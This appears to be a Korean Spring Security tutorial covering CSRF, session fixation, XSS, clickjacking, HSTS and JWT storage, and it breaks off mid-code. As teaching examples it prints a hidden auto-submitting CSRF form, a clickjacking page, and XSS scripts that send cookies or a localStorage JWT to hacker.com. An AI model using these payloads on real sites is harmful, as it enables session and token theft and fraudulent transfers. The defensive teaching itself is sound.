실생활 비유: 도용된 서명
당신이 은행에 있는데, 누군가 당신의 서명이 찍힌 수표를 가져와서 돈을 인출하려고 합니다.
🏦 정상적인 사용자의 하루:
시간대별 공격 과정
├─ 오전 9시: 은행 웹사이트 로그인
│ └─ 브라우저에 세션 쿠키 저장: JSESSIONID=ABC123
│
├─ 오전 10시: 이메일 확인 중 악성 링크 클릭
│ └─ "무료 아이폰 당첨!" 같은 피싱 메일
│
└─ 악성 사이트 접속 시 자동 실행되는 공격
해커가 심어둔 악성 코드:
<<!-- 악성 웹사이트의 숨겨진 코드 -->
<!DOCTYPE html>
<html>
<body>
<h1>축하합니다! 아이폰에 당첨되셨습니다!</h1>
<!-- 사용자가 보지 못하는 숨겨진 이미지 태그 -->
<img src="https://mybank.com/transfer?to=hacker&amount=1000000"
style="display:none;" />
<!-- 또는 자동 제출되는 폼 -->
<form id="hack" action="https://mybank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>
document.getElementById('hack').submit();
</script>
</body>
</html>
공격 흐름도:
[사용자] ────로그인────> [은행 서버]
│ │
│ <────쿠키 발급──── │
│ (JSESSIONID=ABC123) │
│ │
│ │
[사용자] ────클릭────> [악성 사이트]
│ │
│ 브라우저가 자동으로 │
│ 은행에 요청 전송 │
│ (쿠키도 함께 전송!) │
│ │
└──────────────────────> [은행 서버]
│
쿠키 확인 ✓
로그인 상태 확인 ✓
💸 송금 실행!
// SecurityConfig.java
http.csrf(Customizer.withDefaults()); // 기본값 (활성화)
방어 과정 상세:
1️⃣ 로그인 시 CSRF 토큰 생성
┌─────────────────────────────────────────┐
│ 서버가 랜덤 토큰 생성 │
│ 예: "a1b2c3d4-e5f6-7890-abcd-ef123456" │
└─────────────────────────────────────────┘
2️⃣ 정상 HTML 폼에 토큰 포함
<form method="post" action="/transfer">
<!-- Spring Security가 자동으로 추가 -->
<input type="hidden"
name="_csrf"
value="a1b2c3d4-e5f6-7890-abcd-ef1234567890"/>
<input type="text" name="to" placeholder="받는 사람"/>
<input type="number" name="amount" placeholder="금액"/>
<button type="submit">송금</button>
</form>
3️⃣ POST 요청 시 토큰 검증 로직
┌────────────────────────────────────────┐
│ CsrfFilter가 요청 검사 │
├────────────────────────────────────────┤
│ if (토큰 없음) { │
│ return 403 Forbidden; │
│ } │
│ │
│ if (토큰 != 세션의 토큰) { │
│ return 403 Forbidden; │
│ } │
│ │
│ ✅ 정상 요청 처리 │
└────────────────────────────────────────┘
4️⃣ 해커의 공격이 실패하는 이유
┌────────────────────────────────────────┐
│ 악성 사이트는 CSRF 토큰을 모름 │
│ → Same-Origin Policy로 접근 불가 │
│ → 토큰 없이 요청 전송 │
│ → 서버가 403 Forbidden 응답 │
└────────────────────────────────────────┘
중요: CSRF 비활성화는 "완전한 stateless API"에서만!
CSRF 공격은 쿠키나 자동 인증 정보를 함께 전송할 때 성립합니다.
// SecurityConfig.java
http
.csrf(csrf -> csrf.disable())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS) // 세션 미사용
);
조건:
1. ✅ 세션 쿠키를 전혀 사용하지 않음
2. ✅ Authorization 헤더로만 인증 (JWT, OAuth2 Bearer Token 등)
3. ✅ 브라우저 클라이언트가 아닌 경우 (모바일 앱, 서버 간 통신)
// ✅ 안전한 REST API 클라이언트 (모바일, 서버)
fetch('https://api.example.com/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer eyJhbGc...', // JWT 토큰
'Content-Type': 'application/json'
},
body: JSON.stringify({ to: 'user123', amount: 1000 })
});
// 브라우저는 다른 도메인의 Authorization 헤더를 추가할 수 없음
// → CSRF 공격 불가능
이런 경우 CSRF를 반드시 활성화해야 합니다!
1. 세션 쿠키 기반 인증을 사용하는 REST API
// ❌ 위험한 설정!
http
.csrf(csrf -> csrf.disable()) // CSRF 비활성화
.formLogin(Customizer.withDefaults()); // 세션 쿠키 사용!
// ❌ 이런 REST API는 CSRF 공격에 취약!
fetch('https://api.example.com/transfer', {
method: 'POST',
credentials: 'include', // 쿠키 자동 전송!
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ to: 'hacker', amount: 1000000 })
});
// 악성 사이트에서도 같은 요청을 보낼 수 있음
// 브라우저가 자동으로 쿠키를 함께 전송
// → CSRF 공격 성공!
2. 브라우저 기반 SPA (Single Page Application)
// ❌ 브라우저 SPA에서 쿠키 인증 사용 시 취약
// React, Vue, Angular 등
// LocalStorage에 토큰 저장 + withCredentials 사용
const token = localStorage.getItem('token');
axios.post('https://api.example.com/transfer',
{ to: 'user123', amount: 1000 },
{
withCredentials: true, // 쿠키 전송!
headers: { 'X-Auth-Token': token }
}
);
// withCredentials: true 사용 시 → CSRF 토큰 필요!
"A backend application that does not serve browser traffic may choose to disable CSRF."
핵심: "does not serve browser traffic" = 브라우저 트래픽을 제공하지 않는 경우 (모바일 앱, 서버 간 통신 등)
| 환경 | 인증 방식 | CSRF 설정 | 이유 |
|---|---|---|---|
| 브라우저 Form 로그인 | 세션 쿠키 | ✅ 활성화 | 쿠키 자동 전송으로 CSRF 공격 가능 |
| 브라우저 SPA + 세션 쿠키 | 세션 쿠키 + withCredentials | ✅ 활성화 | 쿠키 전송 시 CSRF 위험 |
| 브라우저 SPA (순수 JWT) | LocalStorage + Authorization 헤더 | ⚠️ 활성화 권장 | XSS 방어 측면에서 활성화 고려 |
| 모바일 앱 | Authorization 헤더 (JWT) | ❌ 비활성화 | 쿠키 미사용, CSRF 불가능 |
| 서버 간 통신 | API Key, OAuth2 Client Credentials | ❌ 비활성화 | 브라우저 아님, CSRF 불가능 |
<!-- Thymeleaf 템플릿에서 자동 포함 -->
<form th:action="@{/transfer}" method="post">
<!-- Spring Security가 자동으로 추가 (보이지 않음) -->
<input type="text" name="to" />
<input type="number" name="amount" />
<button>송금</button>
</form>
렌더링된 HTML:
<form action="/transfer" method="post">
<!-- 자동 생성된 CSRF 토큰 -->
<input type="hidden"
name="_csrf"
value="38f8e7a9-4c2d-4b1e-9f3a-7e8d9c2b1a0f"/>
<input type="text" name="to" />
<input type="number" name="amount" />
<button>송금</button>
</form>
실생활 비유: 호텔 방 열쇠 바꿔치기
해커가 미리 호텔 방 열쇠를 받아놓고, 당신이 그 방에 체크인하도록 유도하는 공격입니다.
🏨 세션 고정 공격의 전체 과정
타임라인:
─────────────────────────────────────────────────────
T1. 해커가 공격 준비
│
├─ 은행 사이트 접속
│ GET https://mybank.com
│
└─ 서버가 세션 ID 발급
Set-Cookie: JSESSIONID=SESSION123
T2. 해커가 피해자 유인
│
└─ 이메일/메신저로 링크 전송
"은행에서 보안 업데이트 필요합니다"
https://mybank.com/login?sessionId=SESSION123
T3. 피해자가 링크 클릭
│
├─ 브라우저가 SESSION123을 쿠키로 설정
│
└─ 피해자가 정상적으로 로그인
POST /login
username: victim
password: ****
Cookie: JSESSIONID=SESSION123
T4. 서버 처리 (취약한 경우)
│
└─ "SESSION123으로 로그인 성공!"
세션 ID를 그대로 유지 ← 문제!
T5. 해커가 계정 탈취
│
└─ 해커가 SESSION123으로 접속
Cookie: JSESSIONID=SESSION123
→ 피해자로 로그인된 상태 획득!
┌─────────┐ ┌─────────┐ ┌─────────┐
│ 해커 │ │ 피해자 │ │ 서버 │
└────┬────┘ └────┬────┘ └────┬────┘
│ │ │
│ │ │
│ 1. 접속 │ │
├───────────────────────────────────────>│
│ │ │
│ 2. 세션 ID 발급 │
│<───────────────────────────────────────┤
│ (SESSION123) │
│ │ │
│ 3. 악성 링크 전송 │ │
├──────────────────>│ │
│ "로그인하세요" │ │
│ ?sessionId= │ │
│ SESSION123 │ │
│ │ │
│ │ 4. 클릭 & 로그인 │
│ ├──────────────────>│
│ │ SESSION123 │
│ │ user: victim │
│ │ pass: **** │
│ │ │
│ │ 5. 로그인 성공 │
│ │<──────────────────┤
│ │ (SESSION123 유지)│
│ │ │
│ 6. 탈취 (SESSION123 사용) │
├───────────────────────────────────────>│
│ │ │
│ 7. 피해자로 인증됨! │
│<───────────────────────────────────────┤
│ 💀 계정 탈취 성공 │
│ │ │
// SecurityConfig.java - Spring Security 6.x 기본값
http.sessionManagement(session -> session
.sessionFixation().changeSessionId() // 기본값
);
방어 전략 옵션:
| 옵션 | 설명 | 보안 수준 |
|---|---|---|
none() | 세션 ID 유지 (취약!) | ❌ 위험 |
newSession() | 새 세션 생성 (모든 속성 제거) | ⚠️ 주의 |
migrateSession() | 새 세션 생성 + 속성 복사 | ✅ 안전 |
changeSessionId() | 세션 ID만 변경 (속성 유지) | ✅ 안전 (권장) |
✅ Spring Security가 적용된 안전한 로그인
┌──────────────────────────────────────────────────┐
│ Step 1: 피해자가 해커의 링크로 로그인 시도 │
├──────────────────────────────────────────────────┤
│ POST /login │
│ Cookie: JSESSIONID=SESSION123 (해커가 준 것) │
│ username: victim │
│ password: **** │
└──────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────┐
│ Step 2: 서버가 로그인 성공 감지 │
├──────────────────────────────────────────────────┤
│ DaoAuthenticationProvider: │
│ ✓ username 확인 │
│ ✓ password 검증 │
│ ✓ 인증 성공! │
└──────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────┐
│ Step 3: SessionAuthenticationStrategy 실행 │
├──────────────────────────────────────────────────┤
│ ChangeSessionIdAuthenticationStrategy: │
│ │
│ old ID = "SESSION123" │
│ new ID = request.changeSessionId() │
│ new ID = "SESSION999" ← 자동 생성! │
│ │
│ 세션 속성은 그대로 유지 │
│ SecurityContext도 자동 이전 │
└──────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────┐
│ Step 4: 피해자에게 새로운 세션 ID 발급 │
├──────────────────────────────────────────────────┤
│ Set-Cookie: JSESSIONID=SESSION999 │
│ │
│ 피해자는 SESSION999로 로그인 상태 유지 │
└──────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────┐
│ Step 5: 해커의 공격 실패 │
├──────────────────────────────────────────────────┤
│ 해커가 SESSION123으로 접속 시도: │
│ GET /account │
│ Cookie: JSESSIONID=SESSION123 │
│ │
│ 서버 응답: │
│ ❌ 유효하지 않은 세션 │
│ → 로그인 페이지로 리다이렉트 │
│ │
│ 💪 공격 차단 성공! │
└──────────────────────────────────────────────────┘
// 내부 동작 (개념적 설명)
// ❌ Before 로그인 (취약한 코드)
@PostMapping("/login")
public String login(HttpServletRequest request) {
// 인증 성공
HttpSession session = request.getSession();
String sessionId = session.getId();
System.out.println("세션 ID: " + sessionId); // SESSION123
// 세션 ID 그대로 유지 → 위험!
return "redirect:/home";
}
// ✅ After 로그인 (Spring Security 적용)
// Spring Security가 자동으로 처리
@PostMapping("/login")
public String login(HttpServletRequest request) {
// 1. DaoAuthenticationProvider가 인증 수행
// 2. 인증 성공 시 ChangeSessionIdAuthenticationStrategy 자동 실행
HttpSession session = request.getSession();
String oldId = "SESSION123"; // 로그인 전
String newId = session.getId(); // SESSION999 (자동 변경됨!)
System.out.println("Old: " + oldId); // SESSION123
System.out.println("New: " + newId); // SESSION999
return "redirect:/home";
}
// 더 강력한 세션 보안 설정
http.sessionManagement(session -> session
// 세션 고정 방어
.sessionFixation().changeSessionId()
// 동시 세션 제어 (한 계정 = 1개 세션만)
.maximumSessions(1)
.maxSessionsPreventsLogin(true) // 새 로그인 시 기존 세션 차단
// 세션 타임아웃
.expiredUrl("/login?expired")
);
공식 문서 기준 기본 활성화 헤더
Spring Security는 명시적 설정 없이 다음 헤더를 자동으로 추가합니다:
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000 ; includeSubDomains # HTTPS만
실생활 비유: 카페 게시판에 독이 든 쿠키를 올리는 공격
중요: Spring Security 6.x에서 X-XSS-Protection 기본값 변경
X-XSS-Protection: 1; mode=block (활성화)X-XSS-Protection: 0 (비활성화)이유:
// Spring Security 6.x 기본 동작
// X-XSS-Protection 헤더를 더 이상 자동으로 추가하지 않음
// 또는 X-XSS-Protection: 0 으로 설정
📝 게시판 XSS 공격 과정
1. 해커가 게시판에 악성 스크립트 작성
┌──────────────────────────────────────┐
│ 제목: 맛집 추천 │
│ 내용: │
│ <script> │
│ fetch('https://hacker.com/steal' + │
│ '?cookie=' + document.cookie) │
│ </script> │
└──────────────────────────────────────┘
2. 서버가 검증 없이 저장 (취약한 경우)
┌──────────────────────────────────────┐
│ DB에 스크립트 그대로 저장 │
└──────────────────────────────────────┘
3. 다른 사용자가 게시글 조회
┌──────────────────────────────────────┐
│ GET /board/123 │
│ │
│ 서버 응답: │
│ <div class="content"> │
│ <script> │
│ fetch('hacker.com/steal...') │
│ </script> │
│ </div> │
└──────────────────────────────────────┘
4. 브라우저가 스크립트 실행
┌──────────────────────────────────────┐
│ → 사용자 쿠키 탈취 │
│ → 해커 서버로 전송 │
│ → 세션 하이재킹 성공 │
└──────────────────────────────────────┘
CSP가 XSS 방어의 표준입니다
X-XSS-Protection 대신 CSP (Content-Security-Policy)를 사용하세요.
<// SecurityConfig.java
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' https://cdn.jsdelivr.net; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self' data:; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'"
)
)
);
실제 HTTP 응답 헤더:
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; frame-ancestors 'none'
| 지시어 | 설명 | 예시 | 보안 영향 |
|---|---|---|---|
default-src | 기본 정책 (모든 리소스) | 'self' | 같은 도메인만 허용 |
script-src | JavaScript 출처 제한 | 'self' https://cdn.com | XSS 핵심 방어 |
style-src | CSS 출처 제한 | 'self' 'unsafe-inline' | 인라인 스타일 제어 |
img-src | 이미지 출처 제한 | 'self' data: https: | 외부 이미지 추적 차단 |
connect-src | AJAX/WebSocket 출처 | 'self' https://api.com | API 엔드포인트 제한 |
frame-ancestors | iframe 포함 제한 | 'none' | Clickjacking 방어 |
악성 스크립트 실행 시도 시:
┌──────────────────────────────────────────────┐
│ 브라우저 Console Error: │
├──────────────────────────────────────────────┤
│ 🔴 Refused to load the script │
│ 'https://evil.com/hack.js' │
│ because it violates the following │
│ Content Security Policy directive: │
│ "script-src 'self'" │
└──────────────────────────────────────────────┘
결과: 스크립트 실행 차단 ✅
X-Content-Type-Options: nosniff
Spring Security 기본 활성화 ✅
방어 시나리오:
공격: 이미지 파일을 스크립트로 실행
1. 해커가 이미지로 위장한 스크립트 업로드
┌──────────────────────────────────┐
│ 파일명: cat.jpg │
│ Content-Type: image/jpeg │
│ 실제 내용: │
│ <script>alert('XSS')</script> │
└──────────────────────────────────┘
2. HTML에 스크립트로 포함 시도
<script src="/uploads/cat.jpg"></script>
3. X-Content-Type-Options: nosniff 적용
┌──────────────────────────────────┐
│ 브라우저: │
│ "Content-Type이 image/jpeg인데 │
│ 스크립트로 실행하려고 함" │
│ → 차단! │
└──────────────────────────────────┘
다층 방어 (Defense in Depth)
백엔드 (Spring)
프론트엔드
데이터베이스
실생활 비유: 투명한 레이어로 버튼 가로채기
<!-- 해커의 악성 사이트 코드 -->
<!DOCTYPE html>
<html>
<head>
<style>
/* 은행 사이트를 투명하게 덮음 */
#trap {
opacity: 0; /* 완전 투명 */
position: absolute;
top: 100px; /* 버튼 위치 맞춤 */
left: 200px;
width: 400px;
height: 300px;
z-index: 2; /* 가장 위에 배치 */
}
/* 가짜 버튼 */
#fake-button {
position: absolute;
top: 100px;
left: 200px;
z-index: 1; /* iframe 아래 배치 */
}
</style>
</head>
<body>
<h1>🎁 무료 iPhone 15 Pro 받기!</h1>
<p>아래 버튼을 클릭하면 즉시 당첨!</p>
<!-- 사용자가 보는 가짜 버튼 -->
<button id="fake-button">
지금 받기! 🎉
</button>
<!-- 투명한 진짜 은행 사이트 -->
<iframe id="trap"
src="https://mybank.com/delete-account">
</iframe>
</body>
</html>
사용자의 화면:
┌─────────────────────────────────────────┐
│ 🎁 무료 iPhone 15 Pro 받기! │
│ │
│ 아래 버튼을 클릭하면 즉시 당첨! │
│ │
│ ┌────────────────┐ │
│ │ 지금 받기! 🎉 │ ← 사용자가 보는 버튼│
│ └────────────────┘ │
│ │
└─────────────────────────────────────────┘
실제 HTML 구조:
┌─────────────────────────────────────────┐
│ 가짜 버튼 (z-index: 1) │
│ ┌────────────────┐ │
│ │ 지금 받기! 🎉 │ │
│ └────────────────┘ │
│ ▲ │
│ │ 사용자 클릭 │
│ │ │
│ ┌──────┼──────────────────────┐ │
│ │ ▼ │ │
│ │ [계좌 삭제 버튼] │ │
│ │ (투명 iframe, z-index: 2) │ │
│ │ 실제로 클릭되는 것! │ │
│ └──────────────────────────────┘ │
└─────────────────────────────────────────┘
// Spring Security 기본 설정 (자동 활성화)
http.headers(headers -> headers
.frameOptions(frame -> frame.deny()) // 기본값
);
HTTP 응답 헤더:
HTTP/1.1 200 OK
X-Frame-Options: DENY
| 옵션 | 설명 | 사용 시나리오 | Spring Security 기본 |
|---|---|---|---|
DENY | 모든 frame 포함 차단 | 은행, 관리자 페이지 | ✅ 기본값 |
SAMEORIGIN | 같은 도메인만 허용 | 일반 웹사이트 | - |
ALLOW-FROM uri | 특정 도메인만 허용 | ⚠️ deprecated | - |
설정 예시:
// 1. 완전 차단 (권장 - 은행, 결제 시스템)
http.headers(headers -> headers
.frameOptions(frame -> frame.deny())
);
// 2. 같은 도메인만 허용 (내부 iframe 사용 시)
http.headers(headers -> headers
.frameOptions(frame -> frame.sameOrigin())
);
// 3. 비활성화 (iframe 임베딩 허용 - 주의!)
http.headers(headers -> headers
.frameOptions(frame -> frame.disable())
);
Content-Security-Policy: frame-ancestors 'none'
CSP vs X-Frame-Options 비교:
| 특징 | X-Frame-Options | CSP frame-ancestors |
|---|---|---|
| 표준 | 구식 (deprecated) | 최신 표준 ✅ |
| 브라우저 지원 | 모든 브라우저 | 모던 브라우저 |
| 유연성 | 제한적 (3가지 옵션) | 높음 (여러 출처 지정) |
| 권장 사항 | 하위 호환용 유지 | 신규 개발 사용 |
Spring Security 설정 (권장):
http.headers(headers -> headers
// 구식 브라우저용 (하위 호환)
.frameOptions(frame -> frame.deny())
// 최신 표준 (모던 브라우저)
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"frame-ancestors 'none'" // Clickjacking 방어
)
)
);
CSP frame-ancestors 옵션:
# 모든 frame 차단 (X-Frame-Options: DENY와 동일)
Content-Security-Policy: frame-ancestors 'none'
# 같은 도메인만 허용 (X-Frame-Options: SAMEORIGIN와 동일)
Content-Security-Policy: frame-ancestors 'self'
# 특정 도메인 허용 (여러 개 가능)
Content-Security-Policy: frame-ancestors https://trusted.com https://partner.com
# 모든 출처 허용 (비권장!)
Content-Security-Policy: frame-ancestors *
❌ iframe 차단 시 브라우저 동작:
1. 악성 사이트에서 iframe 로드 시도
<iframe src="https://mybank.com/transfer"></iframe>
2. 브라우저가 응답 헤더 확인
X-Frame-Options: DENY
3. 브라우저가 렌더링 거부
┌─────────────────────────────────────┐
│ [빈 iframe - 렌더링 안 됨] │
└─────────────────────────────────────┘
4. 콘솔 에러 출력
🔴 Console Error:
Refused to display 'https://mybank.com/transfer'
in a frame because it set 'X-Frame-Options' to 'deny'.
HSTS는 HTTPS 환경 전용입니다
HTTP 환경에서는 적용되지 않거나 브라우저 경고를 유발합니다.
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
Spring Security 기본 동작:
HSTS의 역할: HTTPS 강제
1. 사용자가 https://mybank.com 접속
2. 서버가 HSTS 헤더 응답
Strict-Transport-Security: max-age=31536000
3. 브라우저가 HSTS 정책 저장 (1년간)
4. 이후 사용자가 http://mybank.com 입력 시
┌────────────────────────────────────┐
│ 브라우저가 자동으로 변환: │
│ http://mybank.com │
│ ↓ │
│ https://mybank.com │
│ │
│ 서버 요청 전에 브라우저가 처리! │
└────────────────────────────────────┘
5. 중간자 공격(MITM) 차단
- SSL Strip 공격 방어
- 공격자가 HTTP로 유도해도 브라우저가 HTTPS 강제
// 개발 환경 (HTTP) - HSTS 비활성화
@Configuration
@Profile("dev")
public class DevSecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.httpStrictTransportSecurity(hsts -> hsts.disable()) // HTTP 환경
);
return http.build();
}
}
// 운영 환경 (HTTPS) - HSTS 활성화
@Configuration
@Profile("prod")
public class ProdSecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.httpStrictTransportSecurity(hsts -> hsts
.maxAgeInSeconds(31536000) // 1년
.includeSubDomains(true) // 서브도메인 포함
.preload(true) // HSTS Preload List 등록용
)
);
return http.build();
}
}
핵심 질문: "JWT를 사용하면 위에서 설명한 보안 문제들이 해결되나요?"
답변: 일부는 해결되지만, 새로운 보안 위험도 생깁니다.
실생활 비유: 공항 보딩 패스 (Boarding Pass)
세션 쿠키는 "호텔 방 열쇠" (서버가 정보 보관)
JWT는 "항공권" (모든 정보가 티켓에 인쇄됨)
세션 쿠키 방식:
┌─────────┐ ┌─────────┐
│ 쿠키 │ │ 서버 │
│ ID:123 │────────>│ 세션 저장소 │
└─────────┘ │ ID:123 │
│ user: kim │
│ role: admin │
└─────────┘
JWT 방식:
┌──────────────────────────────┐
│ JWT 토큰 (모든 정보 포함) │
│ eyJhbGc... │
│ { │
│ "user": "kim", │
│ "role": "admin", │
│ "exp": 1640000000 │
│ } │
└──────────────────────────────┘
JWT를 Authorization 헤더로 전송하면 CSRF 공격이 불가능합니다
왜 안전한가?
// ✅ 안전한 JWT 사용법
fetch('https://api.example.com/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer eyJhbGc...', // JWT를 헤더로 전송
'Content-Type': 'application/json'
},
// credentials: 'include' 사용 안 함 = 쿠키 전송 안 함
body: JSON.stringify({ to: 'user123', amount: 1000 })
});
// 악성 사이트에서 시도 시
// ❌ Authorization 헤더를 추가할 수 없음 (Same-Origin Policy)
// ❌ 공격 실패!
핵심 원리:
왜 안전한가?
// JWT 방식 - 서버에 세션 저장 안 함
http.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS) // 세션 미생성
);
중요: JWT를 LocalStorage에 저장하면 XSS 공격에 매우 취약합니다
HttpOnly Cookie보다 훨씬 위험합니다!
공격 시나리오:
// 일반적인 JWT 저장 방법
localStorage.setItem('token', 'eyJhbGc...');
// ❌ XSS 공격으로 JWT 탈취
// 해커가 게시판에 올린 악성 스크립트
<script>
const token = localStorage.getItem('token');
// 해커 서버로 JWT 전송
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify({
stolen_token: token,
victim: window.location.href
})
});
</script>
// 해커가 탈취한 JWT로 API 호출
fetch('https://api.example.com/transfer', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + stolen_token // 탈취한 토큰 사용
},
body: JSON.stringify({ to: 'hacker', amount: 1000000 })
});
왜 더 위험한가?
| 저장 방식 | JavaScript 접근 | XSS 위험도 |
|---|---|---|
| LocalStorage | ✅ 가능 | 🔴 매우 높음 |
| SessionStorage | ✅ 가능 | 🔴 매우 높음 |
| HttpOnly Cookie | ❌ 불가능 | ✅ 낮음 |
// HttpOnly Cookie는 JavaScript로 접근 불가
document.cookie; // "session=abc123; HttpOnly" → 값을 읽을 수 없음
// LocalStorage는 JavaScript로 쉽게 접근
localStorage.getItem('token'); // "eyJhbGc..." → 탈취 가능!
JWT 사용 여부와 무관하게 여전히 위험
| 저장 위치 | CSRF | XSS | 세션 고정 | 구현 난이도 | 권장 사용 |
|---|---|---|---|---|---|
| LocalStorage + Authorization 헤더 | ✅ 안전 | 🔴 매우 취약 | ✅ 해당 없음 | 쉬움 | ⚠️ XSS 방어 필수 |
| HttpOnly Cookie | 🔴 위험 | ✅ 안전 | ✅ 해당 없음 | 보통 | ✅ 권장 (CSRF 토큰 필요) |
| 세션 쿠키 (전통 방식) | 🔴 위험 | ✅ 안전 | 🔴 위험 | 쉬움 | ⚠️ CSRF + 세션 고정 방어 필요 |
구조:
브라우저 서버
┌─────────────┐ ┌─────────────┐
│ LocalStorage│ │ REST API │
│ token: JWT │ │ (Stateless)│
└─────┬───────┘ └─────────────┘
│
│ JavaScript로 수동 추가
↓
┌─────────────────────────────┐
│ Authorization: Bearer JWT │
└─────────────────────────────┘
Spring Security 설정:
// SecurityConfig.java
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// CSRF 비활성화 (쿠키 사용 안 함)
.csrf(csrf -> csrf.disable())
// 세션 미사용 (Stateless)
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)
// ⚠️ XSS 방어를 위한 엄격한 CSP 필수!
.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " + // 외부 스크립트 완전 차단
"object-src 'none'; " +
"base-uri 'self'; " +
"frame-ancestors 'none'"
)
)
);
return http.build();
}
프론트엔드 (React/Vue/Angular):
// 로그인 시 JWT 저장
const login = async (username, password) => {
const response = await fetch('https://api.example.com/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
});
const data = await response.json();
localStorage.setItem('token', data.token); // JWT 저장
};
// API 호출 시 JWT 추가
const transferMoney = async (to, amount) => {
const token = localStorage.getItem('token');
await fetch('https://api.example.com/transfer', {
method: 'POST',
headers: {
'Authorization': `Bearer ${token}`, // JWT 추가
'Content-Type': 'application/json'
},
body: JSON.stringify({ to, amount })
});
};
장점:
단점:
구조:
브라우저 서버
┌─────────────┐ ┌─────────────┐
│HttpOnly Cookie│ │ REST API │
│ token: JWT │ ────> │ │
│(JS 접근 불가)│ │ CSRF 검증 │
└─────────────┘ └─────────────┘
+
┌─────────────┐
│ CSRF Token │
│ (헤더/폼) │
└─────────────┘
Spring Security 설정:
// SecurityConfig.java
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// ✅ CSRF 활성화 (쿠키 사용하므로)
.csrf(Customizer.withDefaults())
// 세션은 미사용 (JWT로 인증)
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)
// JWT 필터 추가 (커스텀 구현 필요)
.addFilterBefore(jwtAuthenticationFilter(), UsernamePasswordAuthenticationFilter.class);
return http.build();
}
백엔드 - JWT를 HttpOnly Cookie로 발급:
// AuthController.java
@PostMapping("/login")
public ResponseEntity<?> login(
@RequestBody LoginRequest request,
HttpServletResponse response
) {
// 인증 수행
Authentication auth = authenticationManager.authenticate(
new UsernamePasswordAuthenticationToken(
request.getUsername(),
request.getPassword()
)
);
// JWT 생성
String jwt = jwtService.generateToken(auth.getName());
// HttpOnly Cookie로 JWT 전송
Cookie cookie = new Cookie("token", jwt);
cookie.setHttpOnly(true); // ✅ JavaScript 접근 불가 (XSS 방어)
cookie.setSecure(true); // ✅ HTTPS만 전송
cookie.setPath("/");
cookie.setMaxAge(3600); // 1시간
cookie.setSameSite("Strict"); // CSRF 추가 방어
response.addCookie(cookie);
return ResponseEntity.ok(new LoginResponse("로그인 성공"));
}
프론트엔드 - CSRF 토큰 포함:
// API 호출 시 CSRF 토큰 추가
const transferMoney = async (to, amount) => {
// CSRF 토큰 가져오기 (메타 태그 또는 별도 API)
const csrfToken = document.querySelector('meta[name="_csrf"]').content;
await fetch('https://api.example.com/transfer', {
method: 'POST',
credentials: 'include', // 쿠키 자동 전송
headers: {
'X-CSRF-TOKEN': csrfToken, // CSRF 토큰 추가
'Content-Type': 'application/json'
},
body: JSON.stringify({ to, amount })
});
};
장점:
단점:
실무에서 가장 많이 사용하는 보안 패턴
구조:
┌─────────────────────────────────────────────┐
│ 1. 로그인 │
├─────────────────────────────────────────────┤
│ POST /login │
│ { username, password } │
│ │
│ 응답: │
│ - Access Token: 15분 만료 (LocalStorage) │
│ - Refresh Token: 7일 만료 (HttpOnly Cookie)│
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ 2. API 호출 │
├─────────────────────────────────────────────┤
│ GET /api/account │
│ Authorization: Bearer <Access Token> │
│ │
│ Access Token 유효 → 정상 응답 │
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ 3. Access Token 만료 시 │
├─────────────────────────────────────────────┤
│ GET /api/account │
│ Authorization: Bearer <만료된 Access Token> │
│ │
│ 응답: 401 Unauthorized │
│ │
│ → 자동으로 토큰 갱신 요청 │
│ POST /refresh │
│ Cookie: refresh_token=... │
│ │
│ 응답: 새로운 Access Token │
│ → 재시도 │
└─────────────────────────────────────────────┘
백엔드 구현:
// AuthController.java
@PostMapping("/login")
public ResponseEntity<?> login(
@RequestBody LoginRequest request,
HttpServletResponse response
) {
Authentication auth = authenticate(request);
// Access Token (15분) - JSON으로 전송
String accessToken = jwtService.generateAccessToken(auth.getName());
// Refresh Token (7일) - HttpOnly Cookie로 전송
String refreshToken = jwtService.generateRefreshToken(auth.getName());
Cookie cookie = new Cookie("refresh_token", refreshToken);
cookie.setHttpOnly(true); // XSS 방어
cookie.setSecure(true);
cookie.setPath("/api/refresh"); // refresh 엔드포인트에서만 전송
cookie.setMaxAge(7 * 24 * 3600); // 7일
response.addCookie(cookie);
return ResponseEntity.ok(new LoginResponse(accessToken));
}
@PostMapping("/refresh")
public ResponseEntity<?> refresh(
@CookieValue("refresh_token") String refreshToken
) {
// Refresh Token 검증
if (!jwtService.validateToken(refreshToken)) {
return ResponseEntity.status(401).body("재로그인 필요");
}
